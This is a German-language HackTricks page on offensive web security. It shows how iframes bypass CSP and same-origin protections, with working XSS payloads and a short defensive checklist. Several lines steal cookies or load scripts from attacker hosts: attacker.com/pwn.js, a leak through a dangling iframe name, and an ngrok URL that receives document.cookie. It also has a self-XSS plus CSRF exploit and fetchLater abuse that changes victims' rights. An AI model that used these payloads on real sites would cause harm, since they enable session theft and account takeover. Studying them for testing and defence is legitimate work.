Iframes in XSS, CSP und SOP

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Iframes in XSS

Es gibt 3 Möglichkeiten, den Inhalt einer iframed Seite anzugeben:

  • Über src, das eine URL angibt (die URL kann cross origin oder same origin sein)
  • Über src, das den Inhalt mit dem data:-Protokoll angibt
  • Über srcdoc, das den Inhalt angibt

Zugriff auf Parent- & Child-Variablen

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Wenn Sie das vorherige HTML über einen HTTP-Server (wie python3 -m http.server) aufrufen, werden Sie feststellen, dass alle Skripte ausgeführt werden (da es keine CSP gibt, die dies verhindert). Der Elternteil kann nicht auf die secret-Variable innerhalb eines iframes zugreifen und nur die iframes if2 & if3 (die als gleichseitig betrachtet werden) können auf das Geheimnis im ursprünglichen Fenster zugreifen.
Beachten Sie, dass if4 als null-Ursprung betrachtet wird.

Iframes mit CSP

tip

Bitte beachten Sie, dass in den folgenden Umgehungen die Antwort auf die iframed-Seite keinen CSP-Header enthält, der die Ausführung von JS verhindert.

Der self-Wert von script-src erlaubt nicht die Ausführung des JS-Codes mit dem data:-Protokoll oder dem srcdoc-Attribut.
Allerdings erlaubt selbst der none-Wert der CSP die Ausführung der iframes, die eine URL (vollständig oder nur den Pfad) im src-Attribut angeben.
Daher ist es möglich, die CSP einer Seite mit zu umgehen:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Beachten Sie, dass die vorherige CSP nur die Ausführung des Inline-Skripts erlaubt.
Allerdings werden nur die Skripte if1 und if2 ausgeführt, aber nur if1 kann auf das übergeordnete Geheimnis zugreifen.

Daher ist es möglich, eine CSP zu umgehen, wenn Sie eine JS-Datei auf den Server hochladen und sie über ein iframe laden können, selbst mit script-src 'none'. Dies kann potenziell auch durch den Missbrauch eines Same-Site-JSONP-Endpunkts erfolgen.

Sie können dies mit dem folgenden Szenario testen, bei dem ein Cookie gestohlen wird, selbst mit script-src 'none'. Führen Sie einfach die Anwendung aus und greifen Sie mit Ihrem Browser darauf zu:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Neue (2023-2025) CSP-Bypass-Techniken mit iframes

Die Forschungsgemeinschaft entdeckt weiterhin kreative Möglichkeiten, um iframes auszunutzen und restriktive Richtlinien zu umgehen. Im Folgenden finden Sie die bemerkenswertesten Techniken, die in den letzten Jahren veröffentlicht wurden:

  • Dangling-markup / named-iframe Datenexfiltration (PortSwigger 2023) – Wenn eine Anwendung HTML zurückgibt, aber eine strenge CSP die Ausführung von Skripten blockiert, können Sie dennoch sensible Tokens durch das Injizieren eines dangling <iframe name> Attributs leaken. Sobald das partielle Markup geparst ist, navigiert das Angreifer-Skript, das in einem separaten Ursprung läuft, den Frame zu about:blank und liest window.name, das jetzt alles bis zum nächsten Anführungszeichen enthält (zum Beispiel ein CSRF-Token). Da kein JavaScript im Kontext des Opfers ausgeführt wird, umgeht der Angriff normalerweise script-src 'none'. Ein minimales PoC ist:
html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce-Diebstahl über same-origin iframe (2024) – CSP-Nonces werden nicht aus dem DOM entfernt; sie sind lediglich in den DevTools verborgen. Wenn ein Angreifer ein same-origin iframe injizieren kann (zum Beispiel durch Hochladen von HTML auf die Seite), kann der Kind-Frame einfach document.querySelector('[nonce]').nonce abfragen und neue <script nonce> Knoten erstellen, die die Richtlinie erfüllen, was eine vollständige JavaScript-Ausführung trotz strict-dynamic ermöglicht. Das folgende Gadget eskaliert eine Markup-Injektion in XSS:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-Action-Hijacking (PortSwigger 2024) – Eine Seite, die die form-action-Richtlinie weglässt, kann ihr Anmeldeformular von einem injizierten iframe oder Inline-HTML neu zielen, sodass Passwortmanager automatisch Anmeldeinformationen an eine externe Domain ausfüllen und übermitteln, selbst wenn script-src 'none' vorhanden ist. Ergänzen Sie immer default-src mit form-action!

Defensive Hinweise (schnelle Checkliste)

  1. Senden Sie immer alle CSP-Richtlinien, die sekundäre Kontexte steuern (form-action, frame-src, child-src, object-src usw.).
  2. Verlassen Sie sich nicht darauf, dass Nonces geheim sind – verwenden Sie strict-dynamic und beseitigen Sie Injektionspunkte.
  3. Wenn Sie untrusted Dokumente einbetten müssen, verwenden Sie sandbox="allow-scripts allow-same-origin" sehr vorsichtig (oder ohne allow-same-origin, wenn Sie nur eine Isolierung der Skriptausführung benötigen).
  4. Erwägen Sie eine Defense-in-Depth COOP+COEP-Bereitstellung; das neue <iframe credentialless> Attribut (§ unten) ermöglicht dies, ohne Drittanbieter-Einbettungen zu brechen.

Andere Payloads, die in der Wildnis gefunden wurden

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe-Sandbox

Der Inhalt innerhalb eines iframes kann durch die Verwendung des sandbox-Attributs zusätzlichen Einschränkungen unterworfen werden. Standardmäßig wird dieses Attribut nicht angewendet, was bedeutet, dass keine Einschränkungen bestehen.

Wenn verwendet, auferlegt das sandbox-Attribut mehrere Einschränkungen:

  • Der Inhalt wird behandelt, als ob er aus einer einzigartigen Quelle stammt.
  • Jeder Versuch, Formulare einzureichen, wird blockiert.
  • Die Ausführung von Skripten ist verboten.
  • Der Zugriff auf bestimmte APIs ist deaktiviert.
  • Es verhindert, dass Links mit anderen Browsing-Kontexten interagieren.
  • Die Verwendung von Plugins über <embed>, <object>, <applet> oder ähnliche Tags ist nicht erlaubt.
  • Die Navigation des übergeordneten Browsing-Kontexts des Inhalts durch den Inhalt selbst wird verhindert.
  • Automatisch ausgelöste Funktionen, wie die Wiedergabe von Videos oder das automatische Fokussieren von Formularsteuerelementen, werden blockiert.

Tipp: Moderne Browser unterstützen granulare Flags wie allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation usw. Kombinieren Sie sie, um nur die minimalen Fähigkeiten zu gewähren, die die eingebettete Anwendung benötigt.

Der Wert des Attributs kann leer gelassen werden (sandbox=""), um alle oben genannten Einschränkungen anzuwenden. Alternativ kann es auf eine durch Leerzeichen getrennte Liste spezifischer Werte gesetzt werden, die das iframe von bestimmten Einschränkungen befreien.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

Wie in diesem Artikel erklärt, wird das credentialless-Flag in einem iframe verwendet, um eine Seite innerhalb eines iframes zu laden, ohne Anmeldeinformationen in der Anfrage zu senden, während die Same-Origin-Policy (SOP) der geladenen Seite im iframe beibehalten wird.

Seit Chrome 110 (Februar 2023) ist die Funktion standardmäßig aktiviert und die Spezifikation wird unter dem Namen anonymer iframe browserübergreifend standardisiert. MDN beschreibt es als: „ein Mechanismus, um Drittanbieter-iframes in einer brandneuen, flüchtigen Speicherpartition zu laden, sodass keine Cookies, localStorage oder IndexedDB mit dem echten Ursprung geteilt werden“. Konsequenzen für Angreifer und Verteidiger:

  • Skripte in verschiedenen credentialless iframes teilen sich weiterhin den gleichen Top-Level-Ursprung und können über das DOM frei interagieren, was mehrfache iframe self-XSS-Angriffe möglich macht (siehe PoC unten).
  • Da das Netzwerk credential-stripped ist, verhält sich jede Anfrage innerhalb des iframes effektiv wie eine nicht authentifizierte Sitzung – CSRF-geschützte Endpunkte schlagen normalerweise fehl, aber öffentliche Seiten, die über das DOM auslesbar sind, bleiben im Geltungsbereich.
  • Pop-ups, die aus einem credentialless iframe erzeugt werden, erhalten ein implizites rel="noopener", was einige OAuth-Flows unterbricht.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit-Beispiel: Self-XSS + CSRF

In diesem Angriff bereitet der Angreifer eine bösartige Webseite mit 2 iframes vor:

  • Ein iframe, das die Seite des Opfers mit dem credentialless-Flag lädt, mit einem CSRF, das ein XSS auslöst (Stellen Sie sich ein Self-XSS im Benutzernamen des Benutzers vor):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Ein weiteres iframe, das tatsächlich den Benutzer eingeloggt hat (ohne das credentialless-Flag).

Dann ist es vom XSS aus möglich, auf das andere iframe zuzugreifen, da sie die gleiche SOP haben, und das Cookie zu stehlen, indem man beispielsweise Folgendes ausführt:

javascript
alert(window.top[1].document.cookie);

fetchLater Angriff

Wie in diesem Artikel angegeben, ermöglicht die API fetchLater, eine Anfrage zu konfigurieren, die später (nach einer bestimmten Zeit) ausgeführt wird. Daher kann dies missbraucht werden, um beispielsweise ein Opfer in die Sitzung eines Angreifers einzuloggen (mit Self-XSS), eine fetchLater-Anfrage zu setzen (um das Passwort des aktuellen Benutzers zu ändern) und sich aus der Sitzung des Angreifers abzumelden. Dann loggt sich das Opfer in seiner eigenen Sitzung ein und die fetchLater-Anfrage wird ausgeführt, wodurch das Passwort des Opfers auf das vom Angreifer festgelegte geändert wird.

Auf diese Weise kann der Angreifer selbst dann eine Anfrage in der Sitzung des Opfers ausführen, wenn die Opfer-URL nicht in einem iframe geladen werden kann (aufgrund von CSP oder anderen Einschränkungen).

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes in SOP

Überprüfen Sie die folgenden Seiten:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks